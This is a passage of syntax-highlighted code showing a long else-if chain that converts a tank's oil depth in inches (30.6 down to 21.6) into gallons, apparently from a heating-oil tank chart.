</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">30.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">197.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">30.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">196.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">30.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">195.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">30.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">195.1</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">30.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">194.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">30.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">193.7</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">30</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">193</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">29.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">192.3</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">29.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">191.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">29.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">190.9</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">29.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">190.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">29.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">189.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">29.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">188.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">29.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">188.1</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">29.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">187.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">29.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">186.7</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">29</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">186</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">28.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">185.3</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">28.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">184.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">28.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">183.9</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">28.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">183.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">28.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">182.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">28.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">181.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">28.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">181.1</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">28.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">180.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">28.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">179.7</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">28</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">179</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">27.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">178.3</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">27.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">177.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">27.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">176.9</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">27.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">176.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">27.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">175.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">27.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">174.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">27.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">174.1</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">27.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">173.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">27.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">172.7</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">27</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">172</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">26.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">171.3</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">26.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">170.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">26.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">169.9</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">26.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">169.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">26.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">168.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">26.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">167.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">26.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">167.1</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">26.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">166.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">26.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">165.7</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">26</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">165</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">25.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">164.3</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">25.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">163.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">25.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">162.9</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">25.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">162.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">25.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">161.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">25.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">160.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">25.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">160.1</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">25.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">159.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">25.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">158.7</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">25</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">158</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">24.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">157.3</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">24.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">156.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">24.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">155.9</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">24.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">155.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">24.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">154.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">24.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">153.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">24.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">153.1</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">24.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">152.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">24.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">151.7</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">24</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">151</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">23.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">150.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">23.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">149.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">23.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">148.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">23.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">147.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">23.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">147</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">23.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">146.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">23.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">145.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">23.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">144.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">23.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">143.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">23</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">143</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">22.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">142.3</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">22.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">141.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">22.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">140.9</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">22.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">140.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">22.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">139.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">22.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">138.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">22.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">138.1</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">22.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">137.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">22.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">136.7</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">22</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">136</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">21.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">135.3</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">21.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">134.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">21.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">133.9</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">21.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">133.2</span><span class="p">;</span> <span class="p">}</span>
